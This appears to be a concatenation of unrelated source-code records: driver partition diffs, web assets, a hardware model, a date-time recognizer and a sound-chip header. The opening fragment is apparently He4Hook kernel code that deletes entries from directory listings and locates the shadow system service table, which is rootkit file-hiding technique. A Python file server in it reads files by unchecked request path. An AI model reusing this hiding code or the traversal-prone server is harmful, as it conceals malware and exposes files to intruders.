LoadDriverInfo.pDirectoryEntry);\n\n// if (NtStatus == STATUS_SUCCESS)\n// *((CHAR*)LoadDriverInfo.pBaseAddress) = 'M';\n\n return LoadDriverInfo.hSystemImage;\n}\n\nNTSTATUS UnloadDevice(HANDLE hSystemImage)\n{\n SYSTEM_UNLOAD_DRIVER UnLoadDriverInfo;\n NTSTATUS NtStatus;\n\n UnLoadDriverInfo.hSystemImage = hSystemImage;\n\n NtStatus = ZwSetSystemInformation(SystemUnloadDriver, &UnLoadDriverInfo, sizeof(UnLoadDriverInfo));\n\n return NtStatus;\n}\n\nBOOLEAN DeleteItemFromQueryDirectoryBuffer(PFQD_SmallCommonBlock pQueryDirPrev, PFQD_SmallCommonBlock pQueryDir, PVOID Buffer, ULONG BufferLength, PIO_STATUS_BLOCK IoStatusBlock, FILE_INFORMATION_CLASS DirectoryInfoClass, NTSTATUS* NtStatus)\n{\n BOOLEAN bRes = FALSE;\n PFQD_SmallCommonBlock pQueryDirSave;\n ULONG dwSizeItem;\n\n if (pQueryDir->NextEntryOffset == 0)\n {\n if (pQueryDir != Buffer)\n {\n pQueryDirPrev->NextEntryOffset = 0;\n if (_MmIsAddressValid(IoStatusBlock))\n {\n dwSizeItem = 0;\n switch (DirectoryInfoClass)\n {\n case 0:\n dwSizeItem = (SIZE_OF_FILE_NAMES_INFORMATION + ((PFILE_NAMES_INFORMATION)pQueryDir)->FileNameLength);\n break;\n case FileDirectoryInformation:\n dwSizeItem = (SIZE_OF_FILE_DIRECTORY_INFORMATION + ((PFILE_DIRECTORY_INFORMATION)pQueryDir)->CommonBlock.FileNameLength);\n break;\n case FileFullDirectoryInformation:\n dwSizeItem = (SIZE_OF_FILE_FULL_DIR_INFORMATION + ((PFILE_FULL_DIR_INFORMATION)pQueryDir)->CommonBlock.FileNameLength);\n break;\n case FileBothDirectoryInformation:\n dwSizeItem = (SIZE_OF_FILE_BOTH_DIR_INFORMATION + ((PFILE_BOTH_DIR_INFORMATION)pQueryDir)->CommonBlock.FileNameLength);\n break;\n }\n if (IoStatusBlock->Information > dwSizeItem)\n {\n IoStatusBlock->Information -= dwSizeItem;\n// memset(pQueryDir, 0, dwSizeItem);\n }\n else\n {\n *NtStatus = STATUS_NO_MORE_FILES;\n IoStatusBlock->Status = STATUS_NO_MORE_FILES;\n IoStatusBlock->Information = 0;\n }\n }\n }\n else\n {\n *NtStatus = STATUS_NO_MORE_FILES;\n if (_MmIsAddressValid(IoStatusBlock))\n {\n IoStatusBlock->Status = STATUS_NO_MORE_FILES;\n IoStatusBlock->Information = 0;\n }\n }\n bRes = TRUE;\n }\n else\n {\n pQueryDirSave = pQueryDir;\n if (_MmIsAddressValid(IoStatusBlock))\n {\n if (IoStatusBlock->Information >= pQueryDir->NextEntryOffset)\n IoStatusBlock->Information -= pQueryDir->NextEntryOffset;\n else\n IoStatusBlock->Information = 0;\n }\n pQueryDir = (PFQD_SmallCommonBlock)((CHAR*)pQueryDir + pQueryDir->NextEntryOffset);\n memmove(pQueryDirSave, pQueryDir, BufferLength - ((CHAR*)pQueryDir-(CHAR*)Buffer));\n }\n\n return bRes;\n}\n\nLPSSDT FindShadowTable(void)\n{\n BYTE* pCheckArea = (BYTE*) KeAddSystemServiceTable;\n int i;\n PSRVTABLE pSrvTable = NULL;\n\n for (i=0; i<100; i++)\n {\n __try\n {\n pSrvTable = *(PSRVTABLE*)pCheckArea;\n if (\n !MmIsAddressValid(pSrvTable) ||\n (pSrvTable == KeServiceDescriptorTable) ||\n (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)\n )\n {\n pCheckArea++;\n pSrvTable = NULL;\n }\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n pSrvTable = NULL;\n }\n if (pSrvTable)\n break;\n }\n\n if (pSrvTable == NULL)\n {\n pSrvTable = (PSRVTABLE)((char*)KeServiceDescriptorTable-0x230);\n if (MmIsAddressValid(pSrvTable))\n {\n __try\n {\n if (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)\n pSrvTable = NULL;\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n pSrvTable = NULL;\n }\n }\n else\n {\n pSrvTable = NULL;\n }\n }\n\n return (LPSSDT)pSrvTable;\n}\n\n\n#if 0\nULONG GetFullPathbyFileObjectA(PFILE_OBJECT fileObject, PCHAR fullPathName, ULONG nfullPathNameSize)\n{\n ULONG pathLen;\n PCHAR pathOffset;\n PFILE_OBJECT relatedFileObject;\n ANSI_STRING componentName;\n PDEVICE_OBJECT pDeviceObject;\n PUNICODE_STRING fullUniName;\n ULONG dwFreeSize = nfullPathNameSize;\n\n if (!fullPathName || !nfullPathNameSize)\n return 0;\n\n fullPathName[0] = 0;\n\n try\n {\n if (fileObject == 0)\n {\n return 0;\n }\n\n pDeviceObject = GetVolumeDeviceObject(fileObject);\n if (pDeviceObject == NULL)\n {\n pDeviceObject = IoGetRelatedDeviceObject(fileObject);\n }\n\n fullUniName = (PUNICODE_STRING)_AllocatePoolFromKHeap(hKHeapDHDefault, nfullPathNameSize*sizeof(WCHAR)+sizeof(UNICODE_STRING));\n fullUniName->MaximumLength = (USHORT)nfullPathNameSize*sizeof(WCHAR);\n\n if (NT_SUCCESS(ObQueryNameString(pDeviceObject, (POBJECT_NAME_INFORMATION)fullUniName, fullUniName->MaximumLength, &pathLen)))\n {\n RtlUnicodeStringToAnsiString( &componentName, fullUniName, TRUE ); \n if (componentName.Buffer[0])\n { \n strncatZ(fullPathName, componentName.Buffer, fullUniName->MaximumLength - 2);\n DbgPrint (\"%s\\n\", fullPathName);\n }\n RtlFreeAnsiString(&componentName);\n }\n else\n {\n return 0;\n }\n\n if (!fileObject->FileName.Length || fileObject->FileName.Length > nfullPathNameSize)\n {\n return strlen(fullPathName);\n }\n\n// strcat(fullPathName, \"\\\\\");\n dwFreeSize -= strlen(fullPathName);\n }\n except(EXCEPTION_EXECUTE_HANDLER)\n {\n return 0;\n }\n\n try\n {\n pathLen = fileObject->FileName.Length/sizeof(WCHAR) + 1;\n\n relatedFileObject = fileObject->RelatedFileObject;\n \n if (fileObject->FileName.Buffer[0] != L'\\\\' )\n {\n while (relatedFileObject)\n {\n if ((pathLen + relatedFileObject->FileName.Length/sizeof(WCHAR) + 1) >= dwFreeSize)\n {\n break;\n }\n pathLen += relatedFileObject->FileName.Length/sizeof(WCHAR) + 1;\n relatedFileObject = relatedFileObject->RelatedFileObject;\n }\n }\n\n if (dwFreeSize == nfullPathNameSize)\n sprintf(fullPathName, \"\\\\\");\n \n pathOffset = fullPathName + strlen(fullPathName) - sizeof(char) + pathLen - fileObject->FileName.Length/sizeof(WCHAR);\n RtlUnicodeStringToAnsiString( &componentName, &fileObject->FileName, TRUE ); \n strncpy( pathOffset, componentName.Buffer, componentName.Length + 1 );\n RtlFreeAnsiString( &componentName );\n\n relatedFileObject = fileObject->RelatedFileObject;\n \n if (fileObject->FileName.Buffer[0] != L'\\\\')\n {\n while (relatedFileObject)\n {\n *(pathOffset - 1) = '\\\\';\n pathOffset -= relatedFileObject->FileName.Length/sizeof(WCHAR) + 1;\n\n if (pathOffset <= fullPathName)\n {\n break;\n }\n RtlUnicodeStringToAnsiString(&componentName, &relatedFileObject->FileName, TRUE);\n strncpy(pathOffset, componentName.Buffer, componentName.Length);\n RtlFreeAnsiString(&componentName);\n\n relatedFileObject = relatedFileObject->RelatedFileObject;\n }\n } \n\n }\n except(EXCEPTION_EXECUTE_HANDLER)\n {\n DbgPrint (\"He4Hook: GetFullPath: EXCEPTION\\n\");\n }\n\n// __asm int 1h\n return strlen(fullPathName);\n}\n#endif //0"} -{"text": "#!/usr/bin/env python\n\nfrom os import curdir, sep, getcwd\nfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n\n# subclass BaseHTTPRequestHandler and support GET requests\nclass MyHandler(BaseHTTPRequestHandler):\n\n # handle GET request\n def do_GET(self):\n # check if we can read file and return it\n try:\n f = open(curdir + sep + self.path)\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(f.read())\n f.close()\n\n # if not, assume non-existent file\n except IOError:\n self.send_error(404, 'File Not Found: %s' % self.path)\n\n\ndef main():\n\n # attempt to start server\n try:\n # change directory if necessary by adding call to os.chdir()\n #os.chdir('/usr/local/httpd/htdocs')\n\n # create server\n server = HTTPServer(('', 80), MyHandler)\n print 'Welcome to the machine... hit ^C once or twice to quit'\n print 'cwd:', getcwd()\n\n # enter server loop\n server.serve_forever()\n\n # quit requested\n except KeyboardInterrupt:\n print '^C received, shutting down server'\n server.socket.close()\n\n\nif __name__ == '__main__':\n main()\n"} -{"text": "--- a/arch/arm/boot/dts/kirkwood-dockstar.dts\n+++ b/arch/arm/boot/dts/kirkwood-dockstar.dts\n@@ -78,18 +78,22 @@\n \n \tpartition@0 {\n \t\tlabel = \"u-boot\";\n-\t\treg = <0x0000000 0x100000>;\n-\t\tread-only;\n+\t\treg = <0x0000000 0xe0000>;\n+\t};\n+\n+\tpartition@e0000 {\n+\t\tlabel = \"u-boot environment\";\n+\t\treg = <0xe0000 0x100000>;\n \t};\n \n \tpartition@100000 {\n-\t\tlabel = \"uImage\";\n-\t\treg = <0x0100000 0x400000>;\n+\t\tlabel = \"second stage u-boot\";\n+\t\treg = <0x100000 0x200000>;\n \t};\n \n-\tpartition@500000 {\n-\t\tlabel = \"data\";\n-\t\treg = <0x0500000 0xfb00000>;\n+\tpartition@200000 {\n+\t\tlabel = \"ubi\";\n+\t\treg = <0x200000 0xfe00000>;\n \t};\n };\n \n"} -{"text": "#= require es5-shim.min\n#= require es5-sham.min\n#= require jquery\n#= require jquery_ujs\n#= require jquery.mousewheel\n#= require jquery-timing.min\n#= require jquery.nicescroll.min\n#\n#= require bootstrap\n#= require bootstrap-switch.min\n#\n#= require moment\n#= require bignumber\n#= require underscore\n#= require cookies.min\n#= require flight.min\n#= require pusher.min\n\n#= require ./lib/sfx\n#= require ./lib/notifier\n#= require ./lib/pusher_connection\n\n#= require highstock\n#= require_tree ./highcharts/\n\n#= require_tree ./helpers\n#= require_tree ./component_mixin\n#= require_tree ./component_data\n#= require_tree ./component_ui\n#= require_tree ./templates\n\n#= require_self\n\n$ ->\n window.notifier = new Notifier()\n\n BigNumber.config(ERRORS: false)\n\n HeaderUI.attachTo('header')\n AccountSummaryUI.attachTo('#account_summary')\n\n FloatUI.attachTo('.float')\n KeyBindUI.attachTo(document)\n AutoWindowUI.attachTo(window)\n\n PlaceOrderUI.attachTo('#bid_entry')\n PlaceOrderUI.attachTo('#ask_entry')\n OrderBookUI.attachTo('#order_book')\n DepthUI.attachTo('#depths_wrapper')\n\n MyOrdersUI.attachTo('#my_orders')\n MarketTickerUI.attachTo('#ticker')\n MarketSwitchUI.attachTo('#market_list_wrapper')\n MarketTradesUI.attachTo('#market_trades_wrapper')\n\n MarketData.attachTo(document)\n GlobalData.attachTo(document, {pusher: window.pusher})\n MemberData.attachTo(document, {pusher: window.pusher}) if gon.accounts\n\n CandlestickUI.attachTo('#candlestick')\n SwitchUI.attachTo('#range_switch, #indicator_switch, #main_indicator_switch, #type_switch')\n\n $('.panel-body-content').niceScroll\n autohidemode: true\n cursorborder: \"none\"\n"} -{"text": "\"use strict\";\nvar Observable_1 = require('../../Observable');\nvar using_1 = require('../../observable/using');\nObservable_1.Observable.using = using_1.using;\n//# sourceMappingURL=using.js.map"} -{"text": "/* Copyright (c) 2012 Massachusetts Institute of Technology\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"model/electrical/RippleAdder.h\"\n\n#include \n\n#include \"model/PortInfo.h\"\n#include \"model/TransitionInfo.h\"\n#include \"model/EventInfo.h\"\n#include \"model/std_cells/StdCell.h\"\n#include \"model/std_cells/StdCellLib.h\"\n\nnamespace DSENT\n{\n RippleAdder::RippleAdder(const String& instance_name_, const TechModel* tech_model_)\n : ElectricalModel(instance_name_, tech_model_)\n {\n initParameters();\n initProperties();\n }\n\n RippleAdder::~RippleAdder()\n {}\n\n void RippleAdder::initParameters()\n {\n addParameterName(\"NumberBits\");\n return;\n }\n\n void RippleAdder::initProperties()\n {\n return;\n }\n\n void RippleAdder::constructModel()\n {\n // Get properties\n unsigned int number_bits = (unsigned int) getParameter(\"NumberBits\");\n\n //Construct electrical ports and nets\n createInputPort(\"CI\");\n createOutputPort(\"CO\");\n for(unsigned int i = 0; i < number_bits; ++i)\n {\n createInputPort(\"A\" + String(i));\n createInputPort(\"B\" + String(i));\n createOutputPort(\"S\" + String(i));\n createNet(\"C\" + String(i));\n }\n createNet(\"C\" + String(number_bits));\n\n //Create energy, power, and area results\n createElectricalResults();\n getEventInfo(\"Idle\")->setStaticTransitionInfos();\n createElectricalEventResult(\"Add\");\n Result* add_event = getEventResult(\"Add\");\n\n // Connect all nets \n assign(\"C0\", \"CI\");\n assign(\"CO\", \"C\" + String(number_bits));\n for (unsigned int i = 0; i < number_bits; ++i)\n {\n String n = (String) i; \n StdCell* adder = getTechModel()->getStdCellLib()->createStdCell(\"ADDF\", \"ADDF_\" + n);\n adder->construct();\n\n //Build electrical connectivity\n portConnect(adder, \"A\", \"A\" + String(i));\n portConnect(adder, \"B\", \"B\" + String(i));\n portConnect(adder, \"CI\", \"C\" + String(i));\n portConnect(adder, \"S\", \"S\" + String(i));\n portConnect(adder, \"CO\", \"C\" + String(i + 1));\n\n //Add ADDF instance, leakage power, energy, and add event results\n addSubInstances(adder, 1.0); \n addElectricalSubResults(adder, 1.0);\n add_event->addSubResult(adder->getEventResult(\"ADDF\"), \"ADDF_\" + n, 1.0);\n }\n\n return;\n }\n\n void RippleAdder::propagateTransitionInfo()\n {\n unsigned int number_bits = getParameter(\"NumberBits\").toUInt();\n\n TransitionInfo current_trans_CI = getInputPort(\"CI\")->getTransitionInfo();\n for(unsigned int i = 0; i < number_bits; ++i)\n {\n ElectricalModel* adder = (ElectricalModel*)getSubInstance(\"ADDF_\" + String(i));\n\n // Propagate input transition info\n propagatePortTransitionInfo(adder, \"A\", \"A\" + String(i));\n propagatePortTransitionInfo(adder, \"B\", \"B\" + String(i));\n assignPortTransitionInfo(adder, \"CI\", current_trans_CI);\n adder->use();\n\n // Assign output transition info\n propagatePortTransitionInfo(\"S\" + String(i), adder, \"S\");\n current_trans_CI = adder->getOutputPort(\"CO\")->getTransitionInfo();\n }\n getOutputPort(\"CO\")->setTransitionInfo(current_trans_CI);\n return;\n }\n\n} // namespace DSENT\n\n"} -{"text": "--- a/src/CMakeLists.txt\n+++ b/src/CMakeLists.txt\n@@ -123,7 +123,7 @@\n if(COMMAND llvm_setup_rpath)\n llvm_setup_rpath(unwind_shared)\n endif()\n- target_link_libraries(unwind_shared PRIVATE ${LIBUNWIND_LIBRARIES})\n+ target_link_libraries(unwind_shared PRIVATE \"${LIBUNWIND_LIBRARIES} -lssp_nonshared\")\n set_target_properties(unwind_shared PROPERTIES\n CXX_EXTENSIONS OFF\n CXX_STANDARD 11\n@@ -148,7 +148,7 @@\n else()\n target_compile_options(unwind_static PRIVATE -fno-rtti)\n endif()\n- target_link_libraries(unwind_static PRIVATE ${LIBUNWIND_LIBRARIES})\n+ target_link_libraries(unwind_static PRIVATE \"${LIBUNWIND_LIBRARIES} -lssp_nonshared\")\n set_target_properties(unwind_static PROPERTIES\n CXX_EXTENSIONS OFF\n CXX_STANDARD 11\n"} -{"text": "\ufeffusing System.Collections.Generic;\nusing System.Text.RegularExpressions;\n\nusing Microsoft.Recognizers.Definitions.Italian;\nusing Microsoft.Recognizers.Text.DateTime.Italian.Utilities;\nusing Microsoft.Recognizers.Text.DateTime.Utilities;\nusing Microsoft.Recognizers.Text.Utilities;\n\nnamespace Microsoft.Recognizers.Text.DateTime.Italian\n{\n public class ItalianTimePeriodExtractorConfiguration : BaseDateTimeOptionsConfiguration, ITimePeriodExtractorConfiguration\n {\n public static readonly string ExtractorName = Constants.SYS_DATETIME_TIMEPERIOD; // \"TimePeriod\";\n\n public static readonly Regex TillRegex =\n new Regex(DateTimeDefinitions.RestrictedTillRegex, RegexFlags);\n\n public static readonly Regex FullTillRegex =\n new Regex(DateTimeDefinitions.TillRegex, RegexFlags);\n\n public static readonly Regex HourRegex =\n new Regex(DateTimeDefinitions.HourRegex, RegexFlags);\n\n public static readonly Regex PeriodHourNumRegex =\n new Regex(DateTimeDefinitions.PeriodHourNumRegex, RegexFlags);\n\n public static readonly Regex PeriodDescRegex =\n new Regex(DateTimeDefinitions.PeriodDescRegex, RegexFlags);\n\n public static readonly Regex PmRegex =\n new Regex(DateTimeDefinitions.PmRegex, RegexFlags);\n\n public static readonly Regex AmRegex =\n new Regex(DateTimeDefinitions.AmRegex, RegexFlags);\n\n public static readonly Regex PureNumFromTo =\n new Regex(DateTimeDefinitions.PureNumFromTo, RegexFlags);\n\n public static readonly Regex PureNumBetweenAnd =\n new Regex(DateTimeDefinitions.PureNumBetweenAnd, RegexFlags);\n\n public static readonly Regex SpecificTimeFromTo =\n new Regex(DateTimeDefinitions.SpecificTimeFromTo, RegexFlags);\n\n public static readonly Regex SpecificTimeBetweenAnd =\n new Regex(DateTimeDefinitions.SpecificTimeBetweenAnd, RegexFlags);\n\n public static readonly Regex PrepositionRegex =\n new Regex(DateTimeDefinitions.PrepositionRegex, RegexFlags);\n\n public static readonly Regex TimeOfDayRegex =\n new Regex(DateTimeDefinitions.TimeOfDayRegex, RegexFlags);\n\n public static readonly Regex SpecificTimeOfDayRegex =\n new Regex(DateTimeDefinitions.SpecificTimeOfDayRegex, RegexFlags);\n\n public static readonly Regex TimeUnitRegex =\n new Regex(DateTimeDefinitions.TimeUnitRegex, RegexFlags);\n\n public static readonly Regex TimeFollowedUnit =\n new Regex(DateTimeDefinitions.TimeFollowedUnit, RegexFlags);\n\n public static readonly Regex TimeNumberCombinedWithUnit =\n new Regex(DateTimeDefinitions.TimeNumberCombinedWithUnit, RegexFlags);\n\n public static readonly Regex GeneralEndingRegex =\n new Regex(DateTimeDefinitions.GeneralEndingRegex, RegexFlags);\n\n private const RegexOptions RegexFlags = RegexOptions.Singleline | RegexOptions.ExplicitCapture;\n\n private static readonly Regex FromRegex =\n new Regex(DateTimeDefinitions.FromRegex, RegexFlags);\n\n private static readonly Regex RangePrefixRegex =\n new Regex(DateTimeDefinitions.RangePrefixRegex, RegexFlags);\n\n private static readonly Regex ConnectorAndRegex =\n new Regex(DateTimeDefinitions.ConnectorAndRegex, RegexFlags);\n\n private static readonly Regex BeforeRegex =\n new Regex(DateTimeDefinitions.BeforeRegex, RegexFlags);\n\n private static readonly Regex RangePmRegex =\n new Regex(DateTimeDefinitions.RangePmRegex, RegexFlags);\n\n public ItalianTimePeriodExtractorConfiguration(IDateTimeOptionsConfiguration config)\n : base(config)\n {\n TokenBeforeDate = DateTimeDefinitions.TokenBeforeDate;\n SingleTimeExtractor = new BaseTimeExtractor(new ItalianTimeExtractorConfiguration(this));\n UtilityConfiguration = new ItalianDatetimeUtilityConfiguration();\n IntegerExtractor = Number.Italian.IntegerExtractor.GetInstance();\n TimeZoneExtractor = new BaseTimeZoneExtractor(new ItalianTimeZoneExtractorConfiguration(this));\n }\n\n public string TokenBeforeDate { get; }\n\n public IDateTimeUtilityConfiguration UtilityConfiguration { get; }\n\n public IDateTimeExtractor SingleTimeExtractor { get; }\n\n public IExtractor IntegerExtractor { get; }\n\n public IDateTimeExtractor TimeZoneExtractor { get; }\n\n public IEnumerable SimpleCasesRegex => new[]\n {\n PureNumFromTo, PureNumBetweenAnd, AmRegex, RangePmRegex, SpecificTimeFromTo, SpecificTimeBetweenAnd,\n };\n\n public IEnumerable PureNumberRegex => new[] { PureNumFromTo, PureNumBetweenAnd };\n\n bool ITimePeriodExtractorConfiguration.CheckBothBeforeAfter => DateTimeDefinitions.CheckBothBeforeAfter;\n\n Regex ITimePeriodExtractorConfiguration.TillRegex => TillRegex;\n\n Regex ITimePeriodExtractorConfiguration.TimeOfDayRegex => TimeOfDayRegex;\n\n Regex ITimePeriodExtractorConfiguration.GeneralEndingRegex => GeneralEndingRegex;\n\n public static bool HasConnectorToken(string text)\n {\n return ConnectorAndRegex.IsMatch(text);\n }\n\n public bool GetFromTokenIndex(string text, out int index)\n {\n index = -1;\n var fromMatch = FromRegex.Match(text);\n if (fromMatch.Success)\n {\n index = fromMatch.Index;\n }\n\n return fromMatch.Success;\n }\n\n public bool GetBetweenTokenIndex(string text, out int index)\n {\n index = -1;\n var beforeMatch = BeforeRegex.MatchEnd(text, false);\n var fromMatch = RangePrefixRegex.MatchEnd(text, false);\n\n if (beforeMatch.Success)\n {\n index = beforeMatch.Index;\n }\n else if (fromMatch.Success)\n {\n index = fromMatch.Index;\n\n return fromMatch.Success;\n }\n\n return beforeMatch.Success;\n }\n\n public bool IsConnectorToken(string text)\n {\n return ConnectorAndRegex.IsMatch(text) || FullTillRegex.IsExactMatch(text, false);\n }\n\n public List ApplyPotentialPeriodAmbiguityHotfix(string text, List timePeriodErs) => TimePeriodFunctions.ApplyPotentialPeriodAmbiguityHotfix(text, timePeriodErs);\n }\n}\n"} -{"text": "#ifndef __SOUND_EMU10K1_H\n#define __SOUND_EMU10K1_H\n\n#include \n\n/*\n * Copyright (c) by Jaroslav Kysela ,\n *\t\t Creative Labs, Inc.\n * Definitions for EMU10K1 (SB Live!) chips\n *\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n */\n\n\n/*\n * ---- FX8010 ----\n */\n\n#define EMU10K1_CARD_CREATIVE\t\t\t0x00000000\n#define EMU10K1_CARD_EMUAPS\t\t\t0x00000001\n\n#define EMU10K1_FX8010_PCM_COUNT\t\t8\n\n/* instruction set */\n#define iMAC0\t 0x00\t/* R = A + (X * Y >> 31) ; saturation */\n#define iMAC1\t 0x01\t/* R = A + (-X * Y >> 31) ; saturation */\n#define iMAC2\t 0x02\t/* R = A + (X * Y >> 31) ; wraparound */\n#define iMAC3\t 0x03\t/* R = A + (-X * Y >> 31) ; wraparound */\n#define iMACINT0 0x04\t/* R = A + X * Y\t ; saturation */\n#define iMACINT1 0x05\t/* R = A + X * Y\t ; wraparound (31-bit) */\n#define iACC3\t 0x06\t/* R = A + X + Y\t ; saturation */\n#define iMACMV 0x07\t/* R = A, acc += X * Y >> 31 */\n#define iANDXOR 0x08\t/* R = (A & X) ^ Y */\n#define iTSTNEG 0x09\t/* R = (A >= Y) ? X : ~X */\n#define iLIMITGE 0x0a\t/* R = (A >= Y) ? X : Y */\n#define iLIMITLT 0x0b\t/* R = (A < Y) ? X : Y */\n#define iLOG\t 0x0c\t/* R = linear_data, A (log_data), X (max_exp), Y (format_word) */\n#define iEXP\t 0x0d\t/* R = log_data, A (linear_data), X (max_exp), Y (format_word) */\n#define iINTERP 0x0e\t/* R = A + (X * (Y - A) >> 31) ; saturation */\n#define iSKIP 0x0f\t/* R = A (cc_reg), X (count), Y (cc_test) */\n\n/* GPRs */\n#define FXBUS(x)\t(0x00 + (x))\t/* x = 0x00 - 0x0f */\n#define EXTIN(x)\t(0x10 + (x))\t/* x = 0x00 - 0x0f */\n#define EXTOUT(x)\t(0x20 + (x))\t/* x = 0x00 - 0x0f physical outs -> FXWC low 16 bits */\n#define FXBUS2(x)\t(0x30 + (x))\t/* x = 0x00 - 0x0f copies of fx buses for capture -> FXWC high 16 bits */\n\t\t\t\t\t/* NB: 0x31 and 0x32 are shared with Center/LFE on SB live 5.1 */\n\n#define C_00000000\t0x40\n#define C_00000001\t0x41\n#define C_00000002\t0x42\n#define C_00000003\t0x43\n#define C_00000004\t0x44\n#define C_00000008\t0x45\n#define C_00000010\t0x46\n#define C_00000020\t0x47\n#define C_00000100\t0x48\n#define C_00010000\t0x49\n#define C_00080000\t0x4a\n#define C_10000000\t0x4b\n#define C_20000000\t0x4c\n#define C_40000000\t0x4d\n#define C_80000000\t0x4e\n#define C_7fffffff\t0x4f\n#define C_ffffffff\t0x50\n#define C_fffffffe\t0x51\n#define C_c0000000\t0x52\n#define C_4f1bbcdc\t0x53\n#define C_5a7ef9db\t0x54\n#define C_00100000\t0x55\t\t/* ?? */\n#define GPR_ACCU\t0x56\t\t/* ACCUM, accumulator */\n#define GPR_COND\t0x57\t\t/* CCR, condition register */\n#define GPR_NOISE0\t0x58\t\t/* noise source */\n#define GPR_NOISE1\t0x59\t\t/* noise source */\n#define GPR_IRQ\t\t0x5a\t\t/* IRQ register */\n#define GPR_DBAC\t0x5b\t\t/* TRAM Delay Base Address Counter */\n#define GPR(x)\t\t(FXGPREGBASE + (x)) /* free GPRs: x = 0x00 - 0xff */\n#define ITRAM_DATA(x)\t(TANKMEMDATAREGBASE + 0x00 + (x)) /* x = 0x00 - 0x7f */\n#define ETRAM_DATA(x)\t(TANKMEMDATAREGBASE + 0x80 + (x)) /* x = 0x00 - 0x1f */\n#define ITRAM_ADDR(x)\t(TANKMEMADDRREGBASE + 0x00 + (x)) /* x = 0x00 - 0x7f */\n#define ETRAM_ADDR(x)\t(TANKMEMADDRREGBASE + 0x80 + (x)) /* x = 0x00 - 0x1f */\n\n#define A_ITRAM_DATA(x)\t(TANKMEMDATAREGBASE + 0x00 + (x)) /* x = 0x00 - 0xbf */\n#define A_ETRAM_DATA(x)\t(TANKMEMDATAREGBASE + 0xc0 + (x)) /* x = 0x00 - 0x3f */\n#define A_ITRAM_ADDR(x)\t(TANKMEMADDRREGBASE + 0x00 + (x)) /* x = 0x00 - 0xbf */\n#define A_ETRAM_ADDR(x)\t(TANKMEMADDRREGBASE + 0xc0 + (x)) /* x = 0x00 - 0x3f */\n#define A_ITRAM_CTL(x)\t(A_TANKMEMCTLREGBASE + 0x00 + (x)) /* x = 0x00 - 0xbf */\n#define A_ETRAM_CTL(x)\t(A_TANKMEMCTLREGBASE + 0xc0 + (x)) /* x = 0x00 - 0x3f */\n\n#define A_FXBUS(x)\t(0x00 + (x))\t/* x = 0x00 - 0x3f FX buses */\n#define A_EXTIN(x)\t(0x40 + (x))\t/* x = 0x00 - 0x0f physical ins */\n#define A_P16VIN(x)\t(0x50 + (x))\t/* x = 0x00 - 0x0f p16v ins (A2 only) \"EMU32 inputs\" */\n#define A_EXTOUT(x)\t(0x60 + (x))\t/* x = 0x00 - 0x1f physical outs -> A_FXWC1 0x79-7f unknown */\n#define A_FXBUS2(x)\t(0x80 + (x))\t/* x = 0x00 - 0x1f extra outs used for EFX capture -> A_FXWC2 */\n#define A_EMU32OUTH(x)\t(0xa0 + (x))\t/* x = 0x00 - 0x0f \"EMU32_OUT_10 - _1F\" - ??? */\n#define A_EMU32OUTL(x)\t(0xb0 + (x))\t/* x = 0x00 - 0x0f \"EMU32_OUT_1 - _F\" - ??? */\n#define A3_EMU32IN(x)\t(0x160 + (x))\t/* x = 0x00 - 0x3f \"EMU32_IN_00 - _3F\" - Only when .device = 0x0008 */\n#define A3_EMU32OUT(x)\t(0x1E0 + (x))\t/* x = 0x00 - 0x0f \"EMU32_OUT_00 - _3F\" - Only when .device = 0x0008 */\n#define A_GPR(x)\t(A_FXGPREGBASE + (x))\n\n/* cc_reg constants */\n#define CC_REG_NORMALIZED C_00000001\n#define CC_REG_BORROW\tC_00000002\n#define CC_REG_MINUS\tC_00000004\n#define CC_REG_ZERO\tC_00000008\n#define CC_REG_SATURATE\tC_00000010\n#define CC_REG_NONZERO\tC_00000100\n\n/* FX buses */\n#define FXBUS_PCM_LEFT\t\t0x00\n#define FXBUS_PCM_RIGHT\t\t0x01\n#define FXBUS_PCM_LEFT_REAR\t0x02\n#define FXBUS_PCM_RIGHT_REAR\t0x03\n#define FXBUS_MIDI_LEFT\t\t0x04\n#define FXBUS_MIDI_RIGHT\t0x05\n#define FXBUS_PCM_CENTER\t0x06\n#define FXBUS_PCM_LFE\t\t0x07\n#define FXBUS_PCM_LEFT_FRONT\t0x08\n#define FXBUS_PCM_RIGHT_FRONT\t0x09\n#define FXBUS_MIDI_REVERB\t0x0c\n#define FXBUS_MIDI_CHORUS\t0x0d\n#define FXBUS_PCM_LEFT_SIDE\t0x0e\n#define FXBUS_PCM_RIGHT_SIDE\t0x0f\n#define FXBUS_PT_LEFT\t\t0x14\n#define FXBUS_PT_RIGHT\t\t0x15\n\n/* Inputs */\n#define EXTIN_AC97_L\t 0x00\t/* 